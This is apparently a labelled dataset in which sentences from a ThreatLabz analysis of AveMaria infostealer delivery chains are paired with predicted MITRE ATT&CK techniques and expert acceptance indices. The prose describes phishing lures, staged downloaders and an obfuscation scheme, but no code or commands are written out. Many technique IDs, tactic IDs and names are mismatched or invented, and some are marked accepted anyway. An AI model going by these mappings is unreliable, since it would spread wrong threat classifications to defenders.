The case studies included below specifically focus on how different file formats and techniques are used to execute the AveMaria end payload on the victim's machine, instead of directly dropping and executing the malware.	[{'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1566', 'technique': 'Phishing(T1566)'}, {'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1204', 'technique': 'User Execution(T1204)'}]	2	[0, 1]

In December, ThreatLabz researchers identified the AveMaria .Vhd(x) campaign.	[{'taid': 'TA0011', 'tactic': 'Collection', 'tid': 'T1596', 'technique': 'Data Scanning: Scan for Credentials(T1596)'}]	1	[0]
This campaign is defined by the discovery of a new execution technique that uses the Virtual Hard Disk file format to drop the malicious downloader payload in one of the two formats onto the victim's machine.	[{'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]	1	[0]
In this scenario, phishing emails impersonating the Russian government targeted Kazakhstan officials with a malicious .vhdx file disguised as a fake meeting notice.	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing(T1566)'}, {'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1204', 'technique': 'User Execution(T1204)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerade as Legitimate Application(T1036)'}]	3	[0, 1, 2]
Fig. 2 - Screenshot of a phishing email targeting Kazakhstan officials with malicious .vhdx file attachment designed to launch an AveMaria infostealer attack.	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing(T1566)'}, {'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1204', 'technique': 'User Execution(T1204)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerade as Legitimate Application(T1036)'}]	3	[0, 1, 2]
Upon executing the attached .vhdx file, researchers observed the creation of a new system drive (see Tag 1 in Fig. 3 below) containing a malicious .lnk file, a decoy file, and other system related files (see Tag 2 in Fig. 3 below).	[{'taid': 'TA0000', 'tactic': 'Persistence', 'tid': 'T1574.001', 'technique': 'Hidden Window(T1574.001)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1564.001', 'technique': 'Hide Artifacts: Hidden Files and Directories(T1564.001)'}]	3	[0, 1, 2]
Triggering the malicious shortcut file downloads another payload via curl command (see Tag 3 & 4 in Fig. 3 below) and drops the malicious file in the impacted system's temp directory.	[{'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1105', 'technique': 'Remote File Copy(T1105)'}]	2	[0, 1]

Finally, execution of the final payload infects the victim's machine with the AveMaria malware and enables attackers to gain access and take control.	[{'taid': 'TA0000', 'tactic': 'Persistence', 'tid': 'T1547.001', 'technique': 'Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder(T1547.001)'}, {'taid': 'TA0003', 'tactic': 'Privilege Escalation', 'tid': 'T1562.001', 'technique': 'Service Execution(T1562.001)'}, {'taid': 'TA0002', 'tactic': 'Command and Control', 'tid': 'T1573.002', 'technique': 'Encrypted Channel: Asymmetric Cryptography(T1573.002)'}]	3	[0, 1, 2]
Under the same campaign, researchers observed another variation of the attack chain with a custom downloader and other system related files, as shown in Fig. 5 below.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1105', 'technique': 'Remote File Copy(T1105)'}]	2	[0, 1]
Unfortunately the phishing email for this case study is unavailable, so researchers can not identify the target of these attacks or deduce exactly how the initial payload (.vhd file) was delivered.	[{'taid': 'TA0000', 'tactic': 'Collection', 'tid': 'T1596', 'technique': 'Data Scanning: Scan for Credentials(T1596)'}]	1	[0]
Fig. 5 - Malicious payload file properties of custom downloader **Stage 1: Custom downloader** **The custom downloader used in this AveMaria attack chain retrieves an encrypted file from a third party file sharing website and after downloading and decrypting in memory, it executes the decrypted version of the retrieved payload, which is in PE format.**	[{'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1204', 'technique': 'User Execution(T1204)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Exfiltration', 'tid': 'T1567', 'technique': 'Exfiltration Over Alternative Protocol(T1567)'}]	3	[0, 1, 2]
Fig. 6 - Shows the decryption logic to get the second stage payload in PE format.	[{'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]	1	[0]
To build the downloaded file in PE format, the custom downloader makes use of type casting or type-conversion mechanism whereby different data types are used to manipulate the values at bit level.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]	1	[0]
In C# programming, the byte data type is represented by an 8-bit unsigned integer, i.e. it only takes positive values and will ignore the signed bit associated with the value.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]	1	[0]
In the current decryption scenario, the custom downloader gets the handle and an offset of an array and via "for loop" gets a byte value at	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid':	1	[0]

particular offset, thereafter convert it to an integer data type and subsequently subtract it with the hardcoded value (which in our case is “585” and can be different in other cases) resulting in negative integer value.	'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]		
the negative integer value gets converted to a byte data type. And the hex value of the byte data type will get substituted at the particular offset of an array.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]	1	[0]
It is worth noting that the integer type holds 32-bits of data compared to a byte which holds only 8-bits of data. Converting any integer data type to a byte data type results in the computer only reading the last 8-bit value.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]	1	[0]
For example, converting a hex value 0xB8 from the encrypted array holding “This program” string to an integer data type results in “184”, and subtracting it with “585”, the final value is “-401”, which is represented in binary as: **“11111111111111111111111111111111111111111111111111111110011 01111”**	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]	1	[0]
Going the other way and converting the integer data type to byte data type, the system will read only the last 8-bit value, which in binary is “01101111”.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]	1	[0]
So the hexadecimal value of the mentioned binary value will be “0x6F”, as shown below, and the converted ASCII value of “0x6f” is “o”, which is a part of the “This program” string.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]	1	[0]
Dumping the decrypted file from memory, achieved in Stage 1, results in a .Net DLL binary without exports. The DLL binary consists of encrypted bytes under the resource section named “a”, passed as an argument to the decryption function to reveal the final AveMaria payload, as shown below.	[{'taid': 'TA0000', 'tactic': 'Exfiltration', 'tid': 'T1560', 'technique': 'Archive Collected Data(T1560)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]	2	[0, 1]
This is the final stage of decryption, after which the AveMaria payload is executed and kicks-off C2 communications validating the successful execution of the malware on the victim’s machine.	[{'taid': 'TA0000', 'tactic': 'Command and Control', 'tid': 'T1024', 'technique': 'Custom Command and Control Protocol(T1024)'}, {'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1204', 'technique': 'User Execution(T1204)'}]	2	[0, 1]
It uses the same phishing email technique to distribute the main malicious binary.	[{'taid': 'TA0000', 'tactic': 'Social Engineering', 'tid': 'T1566', 'technique': 'Phishing(T1566)'}, {'taid': 'TA0000', 'tactic': 'Initial Access', 'tid': 'T1192', 'technique': 'Spearphishing Attachment(T1192)'}]	2	[0, 1]
This campaign leverages a highly obfuscated Autoit script and Autoit interpreter to decrypt the AveMaria binary in memory and then execute the payload.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique':	2	[0, 1]

	'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter(T1059)'}]		
The Autoit script is bundled into a self-executing compressed file or executable package known as the parent payload, which consists of all the required components to facilitate the execution of the main malware.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1036', 'technique': 'Masquerading(T1036)'}, {'taid': 'TA0000', 'tactic': 'Persistence', 'tid': 'T1203', 'technique': 'Exploitation for Client Execution(T1203)'}]	3	[0, 1, 2]
The related phishing email analyzed during this case study (shown below) invites the recipient to submit a competitive quotation offer for an unidentified tender.	[{'taid': 'TA0000', 'tactic': 'Social Engineering', 'tid': 'T1566', 'technique': 'Phishing(T1566)'}, {'taid': 'TA0000', 'tactic': 'Initial Access', 'tid': 'T1192', 'technique': 'Spearphishing Attachment(T1192)'}]	2	[0, 1]
Requesting a quote is a common practice businesses use to procure fair goods and services.	[{'taid': 'TA0000', 'tactic': 'Initial Access', 'tid': 'T1199', 'technique': 'Supply Chain Compromise(T1199)'}]	1	[0]
However in this case, the attached zip file sent with the email invitation is malicious and designed to result in an AveMaria infostealer attack.	[{'taid': 'TA0000', 'tactic': 'Exfiltration', 'tid': 'T1052', 'technique': 'Exfiltration Over Command and Control Channel(T1052)'}]	1	[0]
After extracting the payload from the attached zip file the bundled parent payload is revealed.	[{'taid': 'TA0000', 'tactic': 'Discovery', 'tid': 'T1497', 'technique': 'Virtualization/Sandbox Evasion(T1497)'}]	1	[0]
Tag2: Drops malicious and decoy files on execution.	[{'taid': 'TA0000', 'tactic': 'Impact', 'tid': 'T1485', 'technique': 'Data Destruction(T1485)'}, {'taid': 'TA0000', 'tactic': 'Impact', 'tid': 'T1499', 'technique': 'Local Data Staging(T1499)'}]	2	[0, 1]
Tag3: Parent file calls wscript.exe with an argument of dropped malicious vbscript file. The vbscript file then calls out the malicious Autoit script with the interpreter. The execution of Autoit script then leads to process injection of malware into a legitimate file.	[{'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter(T1059)'}, {'taid': 'TA0000', 'tactic': 'Persistence', 'tid': 'T1105', 'technique': 'Ingress Tool Transfer(T1105)'}, {'taid': 'TA0000', 'tactic':	4	[0, 1, 2, 3]

	'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1055', 'technique': 'Process Injection(T1055)'}]		
Tag4: Payload loaded in RegSvcs.exe memory.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading(T1036)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1055', 'technique': 'Process Injection(T1055)'}]	2	[0, 1]
September | Phishing Campaign Targeting Serbian Citizens and Vbs_campaign Purchase Order Scam	[{'taid': 'TA0000', 'tactic': 'Social Engineering', 'tid': 'T1566', 'technique': 'Phishing(T1566)'}]	1	[0]
In September, researchers discovered two different AveMaria malware delivery phishing campaigns, first an e-identification portal login credential scam that targets Serbian citizens and second a purchase order scam requesting an invoice payment.	[{'taid': 'TA0000', 'tactic': 'Social Engineering', 'tid': 'T1566', 'technique': 'Phishing(T1566)'}, {'taid': 'TA0000', 'tactic': 'Initial Access', 'tid': 'T1204', 'technique': 'User Execution(T1204)'}, {'taid': 'TA0000', 'tactic': 'Impact', 'tid': 'T1496', 'technique': 'Resource Hijacking(T1496)'}]	3	[0, 1, 2]
In this campaign, Serbian citizens were targeted with a phishing email impersonating the government of Serbia and prompting them to update and store new login credentials for access to the government e-identification portal.	[{'taid': 'TA0000', 'tactic': 'Social Engineering', 'tid': 'T1566', 'technique': 'Phishing(T1566)'}, {'taid': 'TA0000', 'tactic': 'Initial Access', 'tid': 'T1204', 'technique': 'User Execution(T1204)'}]	2	[0, 1]
The attached zip file (see Fig. 13) contains the malicious AveMaria payload, which when executed creates a copy of itself at the %userprofile%\document location.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading(T1036)'}, {'taid': 'TA0000', 'tactic': 'Persistence', 'tid': 'T1204', 'technique': 'User Execution(T1204)'}]	2	[0, 1]
To further evade detection by Windows defender at runtime, the malware author(s) added the functionality to exclude the whole drive prior to the initialization of the copied file for further infection, via powershell command as shown below.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1053', 'technique': 'Scheduled Task/Job(T1053)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1112', 'technique':	3	[0, 1, 2]

	'Modify Registry(T1112)'}]		
Once the malicious packed binary, named Adobe5151.exe, is executed, it decrypts the end payload, steals user sensitive information, and establishes C2 communication for performing exfiltration of the stolen data.	[{'taid': 'TA0000', 'tactic': 'Exfiltration', 'tid': 'T1041', 'technique': 'Exfiltration Over Alternative Protocol(T1041)'}, {'taid': 'TA0000', 'tactic': 'Command and Control', 'tid': 'T1573', 'technique': 'Encrypted Channel(T1573)'}, {'taid': 'TA0000', 'tactic': 'Exfiltration', 'tid': 'T1002', 'technique': 'Data Compressed(T1002)'}]	3	[0, 1, 2]
In the same month, researchers discovered another phishing campaign imitating a generic purchase order payment request with a malicious payload disguised as a fake invoice attached to the email. A key differentiator in this particular attack chain is the various stages of obfuscation and execution.	[{'taid': 'TA0000', 'tactic': 'Social Engineering', 'tid': 'T1566', 'technique': 'Phishing(T1566)'}, {'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter(T1059)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]	3	[0, 1, 2]
Extracting the vbscript from the attached zip file what looks like a pdf filetype but appears with a script file icon, which serves as an indicator that the file is in fact a script disguised as a pdf.	[{'taid': 'TA0000', 'tactic': 'Deception', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]	1	[0]
The vbscript (see Star 1 in the screenshot below) which is in an obfuscated format, on execution, calls out powershell.exe with commands consisting of two downloading urls (see Star 2 in the screenshot below).	[{'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter(T1059)'}, {'taid': 'TA0000', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Application Layer Protocol(T1071)'}]	2	[0, 1]
The interesting fact is that the vbscript provided only two downloading urls (as an input), but as can be seen above (see Star 3 in Fig. 19), three files were downloaded, and all of them are obfuscated in some or the other manner.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Deception', 'tid': 'T1001', 'technique': 'Data Obfuscation(T1001)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1105', 'technique': 'Ingress Tool Transfer(T1105)'}]	3	[0, 1, 2]
The downloaded files were all base64 encoded, which after decoding turns out to be an injector .Net binary dll (base64 encoded) a	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or	2	[0, 1]

supporting dll (base64 encoded filled with replaceable value) AveMaria payload in reversed base64 encoded format.	information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter(T1059)'}]		
Decoding the dll2.txt file reveals a dotnet DLL binary that acts as a downloader and injector to execute the end payload.	[{'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter(T1059)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading(T1036)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1055', 'technique': 'Process Injection(T1055)'}]	3	[0, 1, 2]
Instead of directly downloading and executing the malware onto the system, threat actors use a custom binary to download supporting DLL and restore the same. Subsequently, it downloads the reversed base64 encoded AveMaria payload and puts it back to base64 format.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading(T1036)'}, {'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter(T1059)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1218', 'technique': 'Signed Binary Proxy Execution(T1218)'}]	4	[0, 1, 2, 3]
Once all the required files are in place, the same will be used to perform process injection as shown below.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1055', 'technique': 'Process Injection(T1055)'}]	1	[0]
The file named jfgfhhjhgjkj.txt is the actual AveMaria payload, downloaded in the reversed base64 encoded format. After restructuring and decoding, the main payload is revealed. The screenshot below shows the file properties and strings present inside the malicious payload.	[{'taid': 'TA0000', 'tactic': 'Exfiltration', 'tid': 'T1002', 'technique': 'Data Compressed(T1002)'}]	1	[0]
In August, researchers observed a new phishing campaign targeting Ukrainian officials impersonating a representative from the Ukrainian Department of Economic Policy and Strategic Planning. The featured phishing emails included an ISO file attachment containing the malicious AveMaria payload along with three decoy documents and four shortcut files.	[{'taid': 'TA0000', 'tactic': 'Social Engineering', 'tid': 'T1566', 'technique': 'Phishing(T1566)'}, {'taid': 'TA0000', 'tactic': 'Initial Access', 'tid': 'T1193', 'technique': 'Spearphishing Attachment(T1193)'}]	2	[0, 1]
All the shortcut files examined from the attached ISO file in this campaign contain the same powershell command that searches for a hardcoded filename in each drive.	[{'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter(T1059)'}]	1	[0]
The file named gov12.exe is the actual Avemaria executable which on execution creates a copy of itself with the hardcoded filename	[{'taid': 'TA0000', 'tactic': 'Execution', 'tid':	3	[0, 1, 2]

images.exe at %userprofile%\documents folder location, adds run key in the registry to achieve persistence and then initiates the copy for further infection.	'T1053', 'technique': 'Scheduled Task/Job(T1053)'}, {'taid': 'TA0000', 'tactic': 'Persistence', 'tid': 'T1060', 'technique': 'Registry Run Keys/Startup Folder(T1060)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]		
In the seventh case study attack chain, researchers observed that the "System Binary Proxy Execution" detection evasion technique is used for executing the end payload. A malicious HTA file consisting of a vbscript code under <script> tag, is used to download the end payload. The phishing email file associated with this attack chain was unavailable, but we anticipate that the .iso file is being distributed as an attachment only.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1218', 'technique': 'Signed Binary Proxy Execution(T1218)'}, {'taid': 'TA0000', 'tactic': 'Initial Access', 'tid': 'T1193', 'technique': 'Spearphishing Attachment(T1193)'}]	2	[0, 1]
The shortcut files extracted from the attached ISO file consist of a powershell command and some obfuscated code decrypted at runtime by the powershell binary. Executing shortcut files downloads malicious .hta extension file and thereafter executes the latter via mshta.exe.	[{'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter(T1059)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1105', 'technique': 'Remote File Copy(T1105)'}]	3	[0, 1, 2]
The .hta file consists of a vbscript under <script> tag generates an obfuscated third stage powershell code when executed and then the latter is passed as an argument to legitimate powershell binary for further execution.	[{'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter(T1059)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]	2	[0, 1]
After researchers decoded and beautified the obfuscated script a legible powershell script was revealed containing the following key functions: 1.) Main function: contains the logic to check for file at %appdata% folder (see blue bracket on the right in the screenshot below) if true, then execute the same via "Invoke-item" command. If false, then logic to download and execute the same. 2.) Decoding function: contains the logic to decode encoded data (see red box in the screenshot below) 3.) Downloading function: contains code related to initiating web connection object which downloads the files (see green box in the screenshot below)	[{'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter(T1059)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Exfiltration', 'tid': 'T1048', 'technique': 'Exfiltration Over Command and Control Channel(T1048)'}]	3	[0, 1, 2]

The powershell script shown above downloads and executes the AveMaria stealer malware onto the target system in the last stage of the attack.	[{'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1106', 'technique': 'Execution through API(T1106)'}, {'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1064', 'technique': 'Scripting(T1064)'}]	2	[0, 1]
Note: In this attack, a website was compromised to host malicious payloads.	[{'taid': 'TA0000', 'tactic': 'Initial Access', 'tid': 'T1190', 'technique': 'Exploit Web Service(T1190)'}, {'taid': 'TA0000', 'tactic': 'Initial Access', 'tid': 'T1191', 'technique': 'Supply Chain Compromise(T1191)'}]	2	[0, 1]
From the case studies detailed in this analysis, it is evident that the developers of the AveMaria infostealer are actively maintaining the malware and updating the phases and stages of execution with new techniques to ensure the stealer remains relevant by evading detection.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1497', 'technique': 'Virtualization/Sandbox Evasion(T1497)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Persistence', 'tid': 'T1529', 'technique': 'System Services(T1529)'}, {'taid': 'TA0000', 'tactic': 'Privilege Escalation', 'tid': 'T1088', 'technique': 'Bypass User Account Control(T1088)'}, {'taid': 'TA0000', 'tactic': 'Evasion', 'tid': 'T1496', 'technique': 'Obfuscated Files or Information(T1496)'}, {'taid': 'TA0000', 'tactic': 'Exfiltration', 'tid': 'T1041', 'technique': 'Exfiltration Over Alternative Protocol(T1041)'}, {'taid': 'TA0000', 'tactic': 'Exfiltration', 'tid': 'T1048', 'technique': 'Exfiltration Over Command and Control Channel(T1048)'}]	7	[0, 1, 2, 3, 4, 5, 6]
While examining the various TTPs over a span of six months, ThreatLabz researchers observed a multitude of changes to the AveMaria malware distribution mechanisms typically updated monthly, so that even if one mechanism is flagged by security operators the others can still be applied effectively.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1497', 'technique': 'Virtualization/Sandbox Evasion(T1497)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Command and Control',	5	[0, 1, 2, 3, 4]

	'tid': 'T1570', 'technique': 'Use of Encrypted Channels(T1570)'}, {'taid': 'TA0000', 'tactic': 'Exfiltration', 'tid': 'T1041', 'technique': 'Exfiltration Over Alternative Protocol(T1041)'}, {'taid': 'TA0000', 'tactic': 'Exfiltration', 'tid': 'T1048', 'technique': 'Exfiltration Over Command and Control Channel(T1048)'}]		

Expert Review Result

text	tts	ttps_pred_count	ttps_accept_idx
Zscaler's ThreatLabz research team diligently monitors and tracks active threat campaigns globally to rapidly detect new developments and proactively safeguard Zscaler customers.	[{'taid': 'TA0005', 'tactic': 'Collection', 'tid': 'T1567.002', 'technique': 'Steal Web Session Cookie(T1567.002)'}, {'taid': 'TA0040', 'tactic': 'Discovery', 'tid': 'T1583', 'technique': 'Acquire Infrastructure(T1583)'}, {'taid': 'TA0040', 'tactic': 'Discovery', 'tid': 'T1582', 'technique': 'Identify Infrastructure(T1582)'}, {'taid': 'TA0003', 'tactic': 'Credential Access', 'tid': 'T1555.003', 'technique': 'Steal Web Credentials(T1555.003)'}]	4	[]
The seven case studies that follow provide an in-depth analysis of the AveMaria infostealer attack chain and how it has been shifting over the past six months.	[{'taid': 'TA0040', 'tactic': 'Discovery', 'tid': 'T1589', 'technique': 'Conduct Active Scanning(T1589)'}, {'taid': 'TA0005', 'tactic': 'Collection', 'tid': 'T1556.002', 'technique': 'Modify System Image to Persist via Boot loader(T1556.002)'}, {'taid': 'TA0040', 'tactic': 'Discovery', 'tid': 'T1590', 'technique': 'Conduct Passive Scanning(T1590)'}, {'taid': 'TA0003', 'tactic': 'Credential Access', 'tid': 'T1555.003', 'technique': 'Steal Web Credentials(T1555.003)'}]	4	[]
AveMaria is a Remote Access Trojan (RAT) infostealer malware that targets sensitive data with added capabilities of remote camera control and privilege escalation.	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing(T1566)'}]	1	[]

Over the past six months, researchers have observed significant changes and additions to the execution stages and Tactics, Techniques, and Procedures that characterize an AveMaria attack.	[{'taid': 'TA0000', 'tactic': 'Planning', 'tid': 'T1185', 'technique': 'Execution through API(T1185)'}]	1	[]
AveMaria attacks are initiated via phishing emails, once the dropped payload infects the victim's machine with the malware, it establishes communication with the attacker's Command-and-Control (C2) server on non-HTTP protocol, after decrypting its C2 connection using RC4 algorithm.	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing(T1566)'}, {'taid': 'TA0002', 'tactic': 'Command and Control ', 'tid': 'T1573.001', 'technique': 'Encrypted Channel(T1573.001)'}]	2	[0, 1]
The most recent variation in the AveMaria attack chain technique leverages a custom downloader that decrypts a disguised payload by converting the value data type to another, known as type casting.	[{'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027.002', 'technique': 'Type Casting(T1027.002)'}]	2	[]
Analysis of AveMaria 2022 Case Studies	[{'taid': 'TA0000', 'tactic': 'Planning', 'tid': 'T1059', 'technique': 'Tactic Development(T1059)'}]	1	[]
This section details different variations of the AveMaria stealer attack chain analyzed across samples discovered between July and December of 2022.	[{'taid': 'TA0000', 'tactic': 'Planning', 'tid': 'T1587', 'technique': 'Identify Observed Host Indicators(T1587)'}, {'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1022', 'technique': 'Commands(T1022)'}]	2	[]
The case studies included below specifically focus on how different file formats and techniques are used to execute the AveMaria end payload on the victim's machine, instead of directly dropping and executing the malware.	[{'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1566', 'technique': 'Phishing(T1566)'}, {'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1204', 'technique': 'User Execution(T1204)'}]	2	[]
In December, ThreatLabz researchers identified the AveMaria .Vhd(x) campaign.	[{'taid': 'TA0011', 'tactic': 'Collection', 'tid': 'T1596', 'technique': 'Data Scanning: Scan for Credentials(T1596)'}]	1	[]
This campaign is defined by the discovery of a new execution technique that uses the Virtual Hard Disk file format to drop the malicious downloader payload in one of the two formats onto the victim's machine.	[{'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}]	1	[]
In this scenario, phishing emails impersonating the Russian government targeted Kazakhstan officials with a malicious .vhdx file disguised as a fake meeting notice.	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing(T1566)'}, {'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1204', 'technique': 'User Execution(T1204)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique':	3	[0, 1]

	'Masquerade as Legitimate Application(T1036)'}]		
Fig. 2 - Screenshot of a phishing email targeting Kazakhstan officials with malicious .vhdx file attachment designed to launch an AveMaria infostealer attack.	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing(T1566)'}, {'taid': 'TA0000', 'tactic': 'Execution', 'tid': 'T1204', 'technique': 'User Execution(T1204)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerade as Legitimate Application(T1036)'}]	3	[0, 1]
Upon executing the attached .vhdx file, researchers observed the creation of a new system drive (see Tag 1 in Fig. 3 below) containing a malicious .lnk file, a decoy file, and other system related files (see Tag 2 in Fig. 3 below).	[{'taid': 'TA0000', 'tactic': 'Persistence', 'tid': 'T1574.001', 'technique': 'Hidden Window(T1574.001)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or information(T1027)'}, {'taid': 'TA0000', 'tactic': 'Defense Evasion', 'tid': 'T1564.001', 'technique': 'Hide Artifacts: Hidden Files and Directories(T1564.001)'}]	3	[]
